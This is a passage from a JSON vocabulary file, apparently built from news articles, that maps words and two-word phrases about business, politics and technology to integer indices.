\"153 044\": 167185,\n  \"truly remarkable\": 167186,\n  \"data analytic\": 167187,\n  \"failing\": 167188,\n  \"mcgowan\": 167189,\n  \"board advising\": 167190,\n  \"liabilities resulting\": 167191,\n  \"kitchen\": 167192,\n  \"biased reporting\": 167193,\n  \"passed tax\": 167194,\n  \"gulp\": 167195,\n  \"norton stars\": 167196,\n  \"wrestler\": 167197,\n  \"stocks poised\": 167198,\n  \"true\": 167199,\n  \"reported 217\": 167200,\n  \"embrapa miranda\": 167201,\n  \"collectors think\": 167202,\n  \"doesn influence\": 167203,\n  \"lint\": 167204,\n  \"coming waterfront\": 167205,\n  \"vocal support\": 167206,\n  \"cnn videoleafurl\": 167207,\n  \"paper worth\": 167208,\n  \"graceful concession\": 167209,\n  \"smith european\": 167210,\n  \"cmg\": 167211,\n  \"pointone\": 167212,\n  \"panic\": 167213,\n  \"html similar\": 167214,\n  \"salke names\": 167215,\n  \"house reporters\": 167216,\n  \"corrupt mess\": 167217,\n  \"digital ad\": 167218,\n  \"kettle\": 167219,\n  \"luckin hopes\": 167220,\n  \"appointed\": 167221,\n  \"time frederick\": 167222,\n  \"right think\": 167223,\n  \"media reports\": 167224,\n  \"cincyinsights\": 167225,\n  \"filling\": 167226,\n  \"halved\": 167227,\n  \"america playing\": 167228,\n  \"anarchic\": 167229,\n  \"recognition including\": 167230,\n  \"advanced secure\": 167231,\n  \"unusual agency\": 167232,\n  \"threats\": 167233,\n  \"example kumar\": 167234,\n  \"drive foreign\": 167235,\n  \"skype\": 167236,\n  \"raise alarm\": 167237,\n  \"future depending\": 167238,\n  \"financially cripple\": 167239,\n  \"section chief\": 167240,\n  \"check suggestion\": 167241,\n  \"continuing according\": 167242,\n  \"mcdonogh\": 167243,\n  \"unfairly ___\": 167244,\n  \"random contact\": 167245,\n  \"sanguine\": 167246,\n  \"cloud dvr\": 167247,\n  \"investors don\": 167248,\n  \"equitably\": 167249,\n  \"s8\": 167250,\n  \"dislodge\": 167251,\n  \"sacha baron\": 167252,\n  \"ahmed\": 167253,\n  \"wales poll\": 167254,\n  \"primarily\": 167255,\n  \"police work\": 167256,\n  \"decided nonetheless\": 167257,\n  \"opposite personalities\": 167258,\n  \"2012 agreement\": 167259,\n  \"detailed talking\": 167260,\n  \"jesuit\": 167261,\n  \"taxpayers underwrite\": 167262,\n  \"minimisation strategy\": 167263,\n  \"wang gown\": 167264,\n  \"core business\": 167265,\n  \"kids\": 167266,\n  \"founder group\": 167267,\n  \"impacted big\": 167268,\n  \"healthy roi\": 167269,\n  \"price targets\": 167270,\n  \"asos\": 167271,\n  \"mittwoch\": 167272,\n  \"actively\": 167273,\n  \"federal laws\": 167274,\n  \"affect usps\": 167275,\n  \"korea leader\": 167276,\n  \"remade\": 167277,\n  \"twofold generating\": 167278,\n  \"combustible rhetoric\": 167279,\n  \"cnbc live\": 167280,\n  \"distaso 275k\": 167281,\n  \"gauge runs\": 167282,\n  \"earnings narrowly\": 167283,\n  \"cash thinks\": 167284,\n  \"halftime\": 167285,\n  \"program aimed\": 167286,\n  \"safe passage\": 167287,\n  \"disappointing\": 167288,\n  \"thomson thomson\": 167289,\n  \"recently turned\": 167290,\n  \"emma stone\": 167291,\n  \"haven suffered\": 167292,\n  \"honored\": 167293,\n  \"mar largo\": 167294,\n  \"potentially merged\": 167295,\n  \"becker sanchez\": 167296,\n  \"springer award\": 167297,\n  \"swelling river\": 167298,\n  \"holiday weekend\": 167299,\n  \"security related\": 167300,\n  \"executive owns\": 167301,\n  \"pioneering indigenous\": 167302,\n  \"gmt apple\": 167303,\n  \"zerohedge highlights\": 167304,\n  \"agencies citing\": 167305,\n  \"latest election\": 167306,\n  \"advisory serv\": 167307,\n  \"chinese business\": 167308,\n  \"email protected\": 167309,\n  \"obamacare replacement\": 167310,\n  \"isqueue cnn\": 167311,\n  \"bezos repeated\": 167312,\n  \"amazon disclosure\": 167313,\n  \"tattooed long\": 167314,\n  \"appeared unsure\": 167315,\n  \"monopolist position\": 167316,\n  \"heating ventilation\": 167317,\n  \"acquisition division\": 167318,\n  \"music producer\": 167319,\n  \"issues making\": 167320,\n  \"bt9ywxg10s lachlan\": 167321,\n  \"million following\": 167322,\n  \"actingfbi director\": 167323,\n  \"spokesman matt\": 167324,\n  \"meet sanders\": 167325,\n  \"great good\": 167326,\n  \"angry tweet\": 167327,\n  \"totally protect\": 167328,\n  \"homophobic slurs\": 167329,\n  \"greco anne\": 167330,\n  \"diagrammed\": 167331,\n  \"ico payments\": 167332,\n  \"misplaced\": 167333,\n  \"boycott hundreds\": 167334,\n  \"funereal faces\": 167335,\n  \"track\": 167336,\n  \"jail\": 167337,\n  \"basically means\": 167338,\n  \"polling place\": 167339,\n  \"including raising\": 167340,\n  \"vicious competitor\": 167341,\n  \"political content\": 167342,\n  \"hero alex\": 167343,\n  \"team pic\": 167344,\n  \"japanese attack\": 167345,\n  \"wrote given\": 167346,\n  \"using comedic\": 167347,\n  \"haven really\": 167348,\n  \"politicians lately\": 167349,\n  \"isolating china\": 167350,\n  \"unbelievable\": 167351,\n  \"fleeting mention\": 167352,\n  \"die know\": 167353,\n  \"includes international\": 167354,\n  \"new typeerror\": 167355,\n  \"stock based\": 167356,\n  \"employer does\": 167357,\n  \"overvalued\": 167358,\n  \"liberal infantilizing\": 167359,\n  \"adjudicates federal\": 167360,\n  \"executives really\": 167361,\n  \"307 633\": 167362,\n  \"immediately resolve\": 167363,\n  \"moines iowa\": 167364,\n  \"crime carolyn\": 167365,\n  \"suspending\": 167366,\n  \"global recovery\": 167367,\n  \"apologize\": 167368,\n  \"pitch\": 167369,\n  \"presidency wasn\": 167370,\n  \"164852329\": 167371,\n  \"author iain\": 167372,\n  \"shipping numbers\": 167373,\n  \"1993 according\": 167374,\n  \"popular computer\": 167375,\n  \"personally urged\": 167376,\n  \"stephen missed\": 167377,\n  \"continuing westneat\": 167378,\n  \"hateful content\": 167379,\n  \"horizon helps\": 167380,\n  \"intraday trade\": 167381,\n  \"facto standard\": 167382,\n  \"members set\": 167383,\n  \"dollars offshore\": 167384,\n  \"rainbow says\": 167385,\n  \"unveiled plans\": 167386,\n  \"android\": 167387,\n  \"branded vehicles\": 167388,\n  \"administration believes\": 167389,\n  \"vucci file\": 167390,\n  \"vast areas\": 167391,\n  \"promote fake\": 167392,\n  \"major alleged\": 167393,\n  \"aws\": 167394,\n  \"shared vision\": 167395,\n  \"slide 2018\": 167396,\n  \"day 2016\": 167397,\n  \"totals 736\": 167398,\n  \"formally overseeing\": 167399,\n  \"evidently thought\": 167400,\n  \"fy15\": 167401,\n  \"different body\": 167402,\n  \"olay\": 167403,\n  \"hq2 spectacle\": 167404,\n  \"32bj\": 167405,\n  \"awaiting\": 167406,\n  \"director perez\": 167407,\n  \"pledges 500\": 167408,\n  \"onshore flow\": 167409,\n  \"unlike expansion\": 167410,\n  \"breakthrough energy\": 167411,\n  \"constantly renegotiated\": 167412,\n  \"regions help\": 167413,\n  \"arabia cheryl\": 167414,\n  \"ago cbsmiami\": 167415,\n  \"virginia ending\": 167416,\n  \"reach high\": 167417,\n  \"house plans\": 167418,\n  \"dope\": 167419,\n  \"suit seeks\": 167420,\n  \"deem howard\": 167421,\n  \"bid newark\": 167422,\n  \"marketer job\": 167423,\n  \"killed plans\": 167424,\n  \"repurchase plan\": 167425,\n  \"organization immigrants\": 167426,\n  \"little sister\": 167427,\n  \"report author\": 167428,\n  \"despite long\": 167429,\n  \"courting china\": 167430,\n  \"case serves\": 167431,\n  \"instigation grew\": 167432,\n  \"nick fake\": 167433,\n  \"doomsday\": 167434,\n  \"tabloids gavin\": 167435,\n  \"extensive scheme\": 167436,\n  \"image president\": 167437,\n  \"make certain\": 167438,\n  \"interests conflict\": 167439,\n  \"comments posted\": 167440,\n  \"using facts\": 167441,\n  \"pai\": 167442,\n  \"sessions joins\": 167443,\n  \"lawyer investigating\": 167444,\n  \"airs weeknights\": 167445,\n  \"amazon opponent\": 167446,\n  \"nnpa\": 167447,\n  \"watching contenttype\": 167448,\n  \"forsyth issued\": 167449,\n  \"embarrassment ami\": 167450,\n  \"box land\": 167451,\n  \"delivery particularly\": 167452,\n  \"closely tracking\": 167453,\n  \"unprecedented billion\": 167454,\n  \"moana\": 167455,\n  \"enquirer wasn\": 167456,\n  \"merck nyse\": 167457,\n  \"tax authority\": 167458,\n  \"justify taxpayer\": 167459,\n  \"development idea\": 167460,\n  \"finally live\": 167461,\n  \"gdp cools\": 167462,\n  \"folk\": 167463,\n  \"workforce base\": 167464,\n  \"lady\": 167465,\n  \"cnw group\": 167466,\n  \"behar interrupts\": 167467,\n  \"a4ee j0\": 167468,\n  \"critical amazon\": 167469,\n  \"implores\": 167470,\n  \"venhuizen\": 167471,\n  \"holiday pressure\": 167472,\n  \"points feel\": 167473,\n  \"nra fired\": 167474,\n  \"juan mabromata\": 167475,\n  \"shuang\": 167476,\n  \"heading straight\": 167477,\n  \"latest internet\": 167478,\n  \"premises\": 167479,\n  \"relatively recent\": 167480,\n  \"blown trade\": 167481,\n  \"statutory corporate\": 167482,\n  \"enjoy turkey\": 167483,\n  \"weaker pricing\": 167484,\n  \"report dovetails\": 167485,\n  \"medical miracle\": 167486,\n  \"size contending\": 167487,\n  \"amazongo\": 167488,\n  \"conference main\": 167489,\n  \"selling collectible\": 167490,\n  \"subscriptions\": 167491,\n  \"replacestate undefined\": 167492,\n  \"new graphics\": 167493,\n  \"chris lynch\": 167494,\n  \"heaping helping\": 167495,\n  \"tuz president\": 167496,\n  \"bufesam\": 167497,\n  \"warning unless\": 167498,\n  \"fashions\": 167499,\n  \"assassins seemingly\": 167500,\n  \"today ohio\": 167501,\n  \"child victims\": 167502,\n  \"dizzying\": 167503,\n  \"efforts prove\": 167504,\n  \"craig faller\": 167505,\n  \"ackerman\": 167506,\n  \"peril\": 167507,\n  \"eye netflix\": 167508,\n  \"harvard university\": 167509,\n  \"logistics assets\": 167510,\n  \"heavily discounted\": 167511,\n  \"usps says\": 167512,\n  \"89th annual\": 167513,\n  \"clocks\": 167514,\n  \"roman documented\": 167515,\n  \"curran\": 167516,\n  \"simply titled\": 167517,\n  \"mckenzie concludes\": 167518,\n  \"doug ford\": 167519,\n  \"migraine treatment\": 167520,\n  \"droves trump\": 167521,\n  \"claims repeatedly\": 167522,\n  \"workings\": 167523,\n  \"regulatory measures\": 167524,\n  \"nickel\": 167525,\n  \"caused\": 167526,\n  \"fedex locations\": 167527,\n  \"reducing amazon\": 167528,\n  \"bezos pays\": 167529,\n  \"breaks warren\": 167530,\n  \"cnet newsstand\": 167531,\n  \"practically swooned\": 167532,\n  \"premium service\": 167533,\n  \"angeles divorce\": 167534,\n  \"giants control\": 167535,\n  \"integrity commitment\": 167536,\n  \"democratic governor\": 167537,\n  \"pressuring prices\": 167538,\n  \"nominee hillary\": 167539,\n  \"b2b\": 167540,\n  \"localstorage sessionstorage\": 167541,\n  \"world read\": 167542,\n  \"nongovernmental organizations\": 167543,\n  \"buttermilk\": 167544,\n  \"special regulatory\": 167545,\n  \"oescam euro\": 167546,\n  \"blog apart\": 167547,\n  \"jobs report\": 167548,\n  \"lemon warns\": 167549,\n  \"mw\": 167550,\n  \"pinterest\": 167551,\n  \"firm rates\": 167552,\n  \"potential trump\": 167553,\n  \"state street\": 167554,\n  \"extraordinary relationship\": 167555,\n  \"boockvar\": 167556,\n  \"grassley iowa\": 167557,\n  \"sean penn\": 167558,\n  \"starting price\": 167559,\n  \"opening price\": 167560,\n  \"immoral illinois\": 167561,\n  \"craftsman tools\": 167562,\n  \"fundraising increase\": 167563,\n  \"search beneath\": 167564,\n  \"reported results\": 167565,\n  \"story saying\": 167566,\n  \"produce fy18\": 167567,\n  \"particular expertise\": 167568,\n  \"destruction\": 167569,\n  \"family oct\": 167570,\n  \"remain viable\": 167571,\n  \"coasts\": 167572,\n  \"report posits\": 167573,\n  \"plus seeking\": 167574,\n  \"coach milutinovic\": 167575,\n  \"brazilian amazon\": 167576,\n  \"team katharine\": 167577,\n  \"kickertext maximizedbannersize\": 167578,\n  \"unmanned drones\": 167579,\n  \"factory workers\": 167580,\n  \"ipec decides\": 167581,\n  \"karma\": 167582,\n  \"mandatory minimums\": 167583,\n  \"downside seattle\": 167584,\n  \"seattle just\": 167585,\n  \"hot sauce\": 167586,\n  \"manifesto\": 167587,\n  \"ordered creation\": 167588,\n  \"trump converses\": 167589,\n  \"council reversed\": 167590,\n  \"tennessee possibly\": 167591,\n  \"kickstarter\": 167592,\n  \"unanswered\": 167593,\n  \"tweet read\": 167594,\n  \"healy initially\": 167595,\n  \"fair stella\": 167596,\n  \"menendez\": 167597,\n  \"similar items\": 167598,\n  \"questions intelligence\": 167599,\n  \"followed meeting\": 167600,\n  \"aggressively push\": 167601,\n  \"mid market\": 167602,\n  \"factor playing\": 167603,\n  \"job transfer\": 167604,\n  \"sessions jefferson\": 167605,\n  \"easier\": 167606,\n  \"investigation trump\": 167607,\n  \"kept confidential\": 167608,\n  \"stop taking\": 167609,\n  \"parents punished\": 167610,\n  \"buying\": 167611,\n  \"corp rad\": 167612,\n  \"new blog\": 167613,\n  \"accumulating\": 167614,\n  \"courts\": 167615,\n  \"digs littered\": 167616,\n  \"domain names\": 167617,\n  \"laura sanchez\": 167618,\n  \"stack david\": 167619,\n  \"rage unless\": 167620,\n  \"sin page\": 167621,\n  \"rose 208\": 167622,\n  \"retail focused\": 167623,\n  \"record 379\": 167624,\n  \"juggling work\": 167625,\n  \"pick pack\": 167626,\n  \"isolated villages\": 167627,\n  \"claimed trump\": 167628,\n  \"weakens\": 167629,\n  \"parody account\": 167630,\n  \"provocation\": 167631,\n  \"valuate\": 167632,\n  \"firm empower\": 167633,\n  \"mckinnon played\": 167634,\n  \"river flow\": 167635,\n  \"goodlatte document\": 167636,\n  \"jon najarian\": 167637,\n  \"calling sen\": 167638,\n  \"money forthe\": 167639,\n  \"attractive place\": 167640,\n  \"does amazon\": 167641,\n  \"saw operating\": 167642,\n  \"successful man\": 167643,\n  \"information protection\": 167644,\n  \"relive\": 167645,\n  \"gop house\": 167646,\n  \"dangled career\": 167647,\n  \"delong living\": 167648,\n  \"yes wegmann\": 167649,\n  \"school\": 167650,\n  \"llc increased\": 167651,\n  \"chicago reader\": 167652,\n  \"political momentum\": 167653,\n  \"revival just\": 167654,\n  \"vermont story\": 167655,\n  \"sued murphy\": 167656,\n  \"ami violated\": 167657,\n  \"potential challenge\": 167658,\n  \"customers especially\": 167659,\n  \"sparsely\": 167660,\n  \"discuss concerns\": 167661,\n  \"reasserted\": 167662,\n  \"trust act\": 167663,\n  \"android headlines\": 167664,\n  \"737 models\": 167665,\n  \"gives evidence\": 167666,\n  \"currently dominant\": 167667,\n  \"trump public\": 167668,\n  \"katharine ham\": 167669,\n  \"smuggled\": 167670,\n  \"forbes amazon\": 167671,\n  \"exciting\": 167672,\n  \"novel approach\": 167673,\n  \"pass instead\": 167674,\n  \"record background\": 167675,\n  \"sears bankruptcy\": 167676,\n  \"regular complaints\": 167677,\n  \"combined data\": 167678,\n  \"lampert worked\": 167679,\n  \"home recorded\": 167680,\n  \"build technologies\": 167681,\n  \"2005 2018\": 167682,\n  \"wrongdoing\": 167683,\n  \"tufankjian\": 167684,\n  \"counted count\": 167685,\n  \"names stock\": 167686,\n  \"ac petitions\": 167687,\n  \"divided wage\": 167688,\n  \"sbirt program\": 167689,\n  \"criticism earlier\": 167690,\n  \"moving slightly\": 167691,\n  \"peace prize\": 167692,\n  \"company sold\": 167693,\n  \"instagram business\": 167694,\n  \"maria lamagna\": 167695,\n  \"push hard\": 167696,\n  \"good particular\": 167697,\n  \"spokeswoman characterized\": 167698,\n  \"slowly\": 167699,\n  \"jobs noam\": 167700,\n  \"tony wife\": 167701,\n  \"mohan told\": 167702,\n  \"devoted\": 167703,\n  \"read andrew\": 167704,\n  \"2006 postal\": 167705,\n  \"gut punch\": 167706,\n  \"tent city\": 167707,\n  \"rally bond\": 167708,\n  \"mount legal\": 167709,\n  \"limits equaling\": 167710,\n  \"million people\": 167711,\n  \"vine reviewers\": 167712,\n  \"dividend etf\": 167713,\n  \"political discourse\": 167714,\n  \"aws generates\": 167715,\n  \"profit challenged\": 167716,\n  \"minerd says\": 167717,\n  \"saying gary\": 167718,\n  \"help modernize\": 167719,\n  \"methodology changes\": 167720,\n  \"2019 close\": 167721,\n  \"927 billion\": 167722,\n  \"stunner\": 167723,\n  \"country compete\": 167724,\n  \"fought open\": 167725,\n  \"narrowing\": 167726,\n  \"commerce partner\": 167727,\n  \"house innovation\": 167728,\n  \"272 shares\": 167729,\n  \"networks new\": 167730,\n  \"palace\": 167731,\n  \"krauthammer\": 167732,\n  \"quietly pushing\": 167733,\n  \"pomp\": 167734,\n  \"given total\": 167735,\n  \"collectable dolls\": 167736,\n  \"deforestation years\": 167737,\n  \"empresa\": 167738,\n  \"1q 2018\": 167739,\n  \"gillum decides\": 167740,\n  \"insufficient benefits\": 167741,\n  \"does dormant\": 167742,\n  \"eroding\": 167743,\n  \"proposed breaking\": 167744,\n  \"ruhle\": 167745,\n  \"assessing\": 167746,\n  \"heath babb\": 167747,\n  \"amplify\": 167748,\n  \"saudi\": 167749,\n  \"franco\": 167750,\n  \"2018 san\": 167751,\n  \"minor cause\": 167752,\n  \"hotman\": 167753,\n  \"service net\": 167754,\n  \"290\": 167755,\n  \"specials club\": 167756,\n  \"staff did\": 167757,\n  \"journalist says\": 167758,\n  \"despite booking\": 167759,\n  \"lazyauto true\": 167760,\n  \"thais borges\": 167761,\n  \"predatory robber\": 167762,\n  \"sanctions bds\": 167763,\n  \"stamp benefits\": 167764,\n  \"ma\": 167765,\n  \"build helipads\": 167766,\n  \"payne denied\": 167767,\n  \"mcgregor pacific\": 167768,\n  \"limited places\": 167769,\n  \"host secdef\": 167770,\n  \"report revealing\": 167771,\n  \"potent opioid\": 167772,\n  \"populous state\": 167773,\n  \"sharing agreement\": 167774,\n  \"time final\": 167775,\n  \"larmand\": 167776,\n  \"making legislative\": 167777,\n  \"term mortgage\": 167778,\n  \"new surface\": 167779,\n  \"neil\": 167780,\n  \"impact quality\": 167781,\n  \"md sen\": 167782,\n  \"doubles\": 167783,\n  \"roosevelt progressive\": 167784,\n  \"barneys new\": 167785,\n  \"major indexes\": 167786,\n  \"heart attack\": 167787,\n  \"procurement\": 167788,\n  \"comments midwest\": 167789,\n  \"2018 deloitte\": 167790,\n  \"security chief\": 167791,\n  \"cheering squad\": 167792,\n  \"time associates\": 167793,\n  \"china china\": 167794,\n  \"wccftech\": 167795,\n  \"carry grocery\": 167796,\n  \"457\": 167797,\n  \"global online\": 167798,\n  \"crowds\": 167799,\n  \"pretty sus\": 167800,\n  \"erica parise\": 167801,\n  \"dan morgan\": 167802,\n  \"trump warning\": 167803,\n  \"wholly inappropriate\": 167804,\n  \"jedi pentagon\": 167805,\n  \"stephen kearney\": 167806,\n  \"jobs tax\": 167807,\n  \"restructured\": 167808,\n  \"fundraising purchase\": 167809,\n  \"strokes used\": 167810,\n  \"things tariffs\": 167811,\n  \"bowl predictor\": 167812,\n  \"noticed\": 167813,\n  \"close pecker\": 167814,\n  \"democrats trump\": 167815,\n  \"andrew harrer\": 167816,\n  \"165 million\": 167817,\n  \"making changes\": 167818,\n  \"rival technology\": 167819,\n  \"trump tackles\": 167820,\n  \"quarter rose\": 167821,\n  \"brazen exploitation\": 167822,\n  \"bleeding antivirus\": 167823,\n  \"img_h\": 167824,\n  \"combined internal\": 167825,\n  \"testimony house\": 167826,\n  \"company enters\": 167827,\n  \"standoff hours\": 167828,\n  \"appreciate beauty\": 167829,\n  \"report remarkable\": 167830,\n  \"bouncing balls\": 167831,\n  \"latest action\": 167832,\n  \"following local\": 167833,\n  \"2019 american\": 167834,\n  \"just sham\": 167835,\n  \"mckinnon\": 167836,\n  \"alleged politically\": 167837,\n  \"predatory conduct\": 167838,\n  \"reason companies\": 167839,\n  \"sun shirts\": 167840,\n  \"cure cancer\": 167841,\n  \"customs agency\": 167842,\n  \"217\": 167843,\n  \"government regulation\": 167844,\n  \"company scale\": 167845,\n  \"company search\": 167846,\n  \"filene basement\": 167847,\n  \"sector interests\": 167848,\n  \"society happen\": 167849,\n  \"human baby\": 167850,\n  \"cheese\": 167851,\n  \"magnificent dining\": 167852,\n  \"denali\": 167853,\n  \"rosenwald recalls\": 167854,\n  \"carefree consumer\": 167855,\n  \"anchor blue\": 167856,\n  \"monumentally\": 167857,\n  \"single planet\": 167858,\n  \"jacquelyn\": 167859,\n  \"week midterms\": 167860,\n  \"estate 2018\": 167861,\n  \"employment center\": 167862,\n  \"week giving\": 167863,\n  \"paying future\": 167864,\n  \"noble kept\": 167865,\n  \"warned margins\": 167866,\n  \"communities represented\": 167867,\n  \"means government\": 167868,\n  \"hu covers\": 167869,\n  \"protesters denounce\": 167870,\n  \"post george\": 167871,\n  \"day anthony\": 167872,\n  \"degrees lightly\": 167873,\n  \"refashioned\": 167874,\n  \"partner integrations\": 167875,\n  \"tried hard\": 167876,\n  \"news financial\": 167877,\n  \"double crossing\": 167878,\n  \"unveiling\": 167879,\n  \"harder says\": 167880,\n  \"legal case\": 167881,\n  \"prime hotstar\": 167882,\n  \"pricing criteria\": 167883,\n  \"prized tax\": 167884,\n  \"experience provide\": 167885,\n  \"distribute drugs\": 167886,\n  \"mean norah\": 167887,\n  \"amid warning\": 167888,\n  \"fortune invading\": 167889,\n  \"higher dependence\": 167890,\n  \"standpoint amazon\": 167891,\n  \"shareholders continues\": 167892,\n  \"funds vanguard\": 167893,\n  \"outsource\": 167894,\n  \"services increased\": 167895,\n  \"zuckerberg effectively\": 167896,\n  \"repeal\": 167897,\n  \"jaspers think\": 167898,\n  \"gmail users\": 167899,\n  \"statements alleging\": 167900,\n  \"party\": 167901,\n  \"sue terry\": 167902,\n  \"communications industry\": 167903,\n  \"million users\": 167904,\n  \"indefinite delivery\": 167905,\n  \"gmbactivistamazon gmb_union\": 167906,\n  \"outspokenness\": 167907,\n  \"professional ladder\": 167908,\n  \"politicized\": 167909,\n  \"deputy shooting\": 167910,\n  \"exposed uber\": 167911,\n  \"facebooks downbeat\": 167912,\n  \"increased adding\": 167913,\n  \"gknazimbbv mel\": 167914,\n  \"investigation claims\": 167915,\n  \"background today\": 167916,\n  \"vans according\": 167917,\n  \"ironically\": 167918,\n  \"race ptsd\": 167919,\n  \"topstories\": 167920,\n  \"warn trump\": 167921,\n  \"sanctioned\": 167922,\n  \"training open\": 167923,\n  \"partners representative\": 167924,\n  \"luxurious\": 167925,\n  \"viab nyse\": 167926,\n  \"description reads\": 167927,\n  \"luck diminished\": 167928,\n  \"high time\": 167929,\n  \"lie bartiromo\": 167930,\n  \"history underscores\": 167931,\n  \"outplayed\": 167932,\n  \"world navarro\": 167933,\n  \"boycott companies\": 167934,\n  \"geoengineering\": 167935,\n  \"consider life\": 167936,\n  \"certainly survive\": 167937,\n  \"risky links\": 167938,\n  \"necessity carell\": 167939,\n  \"crony project\": 167940,\n  \"gorsuch kavanaugh\": 167941,\n  \"subjected maloney\": 167942,\n  \"student good\": 167943,\n  \"big names\": 167944,\n  \"defend total\": 167945,\n  \"isn packing\": 167946,\n  \"president matthew\": 167947,\n  \"bush administration\": 167948,\n  \"contract competition\": 167949,\n  \"start following\": 167950,\n  \"\\u00e9migr\\u00e9s\": 167951,\n  \"took look\": 167952,\n  \"approach allegedly\": 167953,\n  \"make green\": 167954,\n  \"taken particular\": 167955,\n  \"evangelicals\": 167956,\n  \"voters overall\": 167957,\n  \"greensand\": 167958,\n  \"editor jill\": 167959,\n  \"faculty\": 167960,\n  \"newman copies\": 167961,\n  \"sabrina isn\": 167962,\n  \"month saw\": 167963,\n  \"affect lot\": 167964,\n  \"fan base\": 167965,\n  \"created jobs\": 167966,\n  \"seth barrett\": 167967,\n  \"ej mcmahon\": 167968,\n  \"east asia\": 167969,\n  \"tariffs kaitlyn\": 167970,\n  \"hutchinson report\": 167971,\n  \"offshore using\": 167972,\n  \"particular diseases\": 167973,\n  \"huffingtonpost\": 167974,\n  \"downzone\": 167975,\n  \"story existing\": 167976,\n  \"mike pompeo\": 167977,\n  \"using cloud\": 167978,\n  \"tilting supposedly\": 167979,\n  \"initial\": 167980,\n  \"dod runs\": 167981,\n  \"events created\": 167982,\n  \"serve\": 167983,\n  \"help microsoft\": 167984,\n  \"laissez\": 167985,\n  \"injection postponed\": 167986,\n  \"washington late\": 167987,\n  \"dos santos\": 167988,\n  \"including republican\": 167989,\n  \"pockets half\": 167990,\n  \"samsung gamingnews\": 167991,\n  \"wheelchair bound\": 167992,\n  \"jeff bozo\": 167993,\n  \"phillips jay\": 167994,\n  \"base amazon\": 167995,\n  \"possible enquirer\": 167996,\n  \"000 temporary\": 167997,\n  \"shares closing\": 167998,\n  \"thank fans\": 167999,\n  \"profits sends\": 168000,\n  \"direct red\": 168001,\n  \"truck message\": 168002,\n  \"illinois legislates\": 168003,\n  \"nonretailing ambitions\": 168004,\n  \"american workplace\": 168005,\n  \"temperature scale\": 168006,\n  \"paul brathwaite\": 168007,\n  \"showed impressive\": 168008,\n  \"nvidiahttps specials\": 168009,\n  \"suggestion recent\": 168010,\n  \"q2\": 168011,\n  \"undoubtedly unpopular\": 168012,\n  \"providing cover\": 168013,\n  \"medieval era\": 168014,\n  \"started amazon\": 168015,\n  \"1537260656\": 168016,\n  \"835 products\": 168017,\n  \"bore trump\": 168018,\n  \"lynn\": 168019,\n  \"allianz investment\": 168020,\n  \"1trn\": 168021,\n  \"eventually having\": 168022,\n  \"investigator recommended\": 168023,\n  \"information disseminating\": 168024,\n  \"changed considerably\": 168025,\n  \"seattle based\": 168026,\n  \"warren consider\": 168027,\n  \"hopelessness\": 168028,\n  \"provides kroger\": 168029,\n  \"nv\": 168030,\n  \"habit going\": 168031,\n  \"cars hiking\": 168032,\n  \"chrysler executive\": 168033,\n  \"south asian\": 168034,\n  \"roberts president\": 168035,\n  \"department lawyers\": 168036,\n  \"mira\": 168037,\n  \"rates suddenly\": 168038,\n  \"castro office\": 168039,\n  \"inciting fear\": 168040,\n  \"grave walmart\": 168041,\n  \"senators face\": 168042,\n  \"hour conservative\": 168043,\n  \"historically blue\": 168044,\n  \"talks drake\": 168045,\n  \"repurchases\": 168046,\n  \"officially owned\": 168047,\n  \"klieger\": 168048,\n  \"government officials\": 168049,\n  \"taking low\": 168050,\n  \"harley davidson\": 168051,\n  \"traditional hotel\": 168052,\n  \"high point\": 168053,\n  \"jury trial\": 168054,\n  \"including option\": 168055,\n  \"shipping delivery\": 168056,\n  \"keeps injured\": 168057,\n  \"hannity ainsley\": 168058,\n  \"expands protections\": 168059,\n  \"wrote column\": 168060,\n  \"sex habits\": 168061,\n  \"don present\": 168062,\n  \"congresspeople\": 168063,\n  \"boilerplate\": 168064,\n  \"705 billion\": 168065,\n  \"shaper\": 168066,\n  \"higher prices\": 168067,\n  \"gerald ford\": 168068,\n  \"woman mourning\": 168069,\n  \"administration aide\": 168070,\n  \"reportedly fired\": 168071,\n  \"ban muslim\": 168072,\n  \"white feather\": 168073,\n  \"recycled water\": 168074,\n  \"exporters considering\": 168075,\n  \"forbes estimated\": 168076,\n  \"announced similar\": 168077,\n  \"wins\": 168078,\n  \"r0 typeof\": 168079,\n  \"potential fees\": 168080,\n  \"given low\": 168081,\n  \"sectors progress\": 168082,\n  \"outlet unflattering\": 168083,\n  \"qanon aug\": 168084,\n  \"twitter led\": 168085,\n  \"fred jr\": 168086,\n  \"fiery\": 168087,\n  \"slate active\": 168088,\n  \"massive transactions\": 168089,\n  \"1150x540\": 168090,\n  \"cuomo joins\": 168091,\n  \"valley commuters\": 168092,\n  \"immigration issues\": 168093,\n  \"clear sign\": 168094,\n  \"gain popularity\": 168095,\n  \"hitler mein\": 168096,\n  \"bid protest\": 168097,\n  \"deeply implicated\": 168098,\n  \"slimmer\": 168099,\n  \"program meant\": 168100,\n  \"pentagon project\": 168101,\n  \"israel killing\": 168102,\n  \"reuters kevin\": 168103,\n  \"duckworth joined\": 168104,\n  \"popular stories\": 168105,\n  \"mta reform\": 168106,\n  \"trump stunner\": 168107,\n  \"liberal staff\": 168108,\n  \"opinion film\": 168109,\n  \"ioc\": 168110,\n  \"slattery\": 168111,\n  \"annoys\": 168112,\n  \"governments notable\": 168113,\n  \"kavanaugh soon\": 168114,\n  \"aeberman12\": 168115,\n  \"infringement\": 168116,\n  \"separate arrangement\": 168117,\n  \"high compared\": 168118,\n  \"david kocieniewski\": 168119,\n  \"signals quite\": 168120,\n  \"baker indicated\": 168121,\n  \"lower cost\": 168122,\n  \"abattoir\": 168123,\n  \"great benefits\": 168124,\n  \"red sox\": 168125,\n  \"liberal outlets\": 168126,\n  \"lefties\": 168127,\n  \"tweets won\": 168128,\n  \"military decisions\": 168129,\n  \"tools shoes\": 168130,\n  \"rightly claim\": 168131,\n  \"queens eric\": 168132,\n  \"second anti\": 168133,\n  \"basic economy\": 168134,\n  \"left plot\": 168135,\n  \"entire parcel\": 168136,\n  \"boat \\u0430is\": 168137,\n  \"gold local\": 168138,\n  \"things netflix\": 168139,\n  \"fired weapon\": 168140,\n  \"story video\": 168141,\n  \"washington banks\": 168142,\n  \"fewer complaints\": 168143,\n  \"badass plasma\": 168144,\n  \"jackman\": 168145,\n  \"russian officials\": 168146,\n  \"super fakes\": 168147,\n  \"tax making\": 168148,\n  \"budget cuts\": 168149,\n  \"competition laws\": 168150,\n  \"online turning\": 168151,\n  \"possible negative\": 168152,\n  \"uninstall\": 168153,\n  \"industry headwinds\": 168154,\n  \"reverse\": 168155,\n  \"abc government\": 168156,\n  \"impropriety related\": 168157,\n  \"stunning headlines\": 168158,\n  \"authoritative available\": 168159,\n  \"tech jobs\": 168160,\n  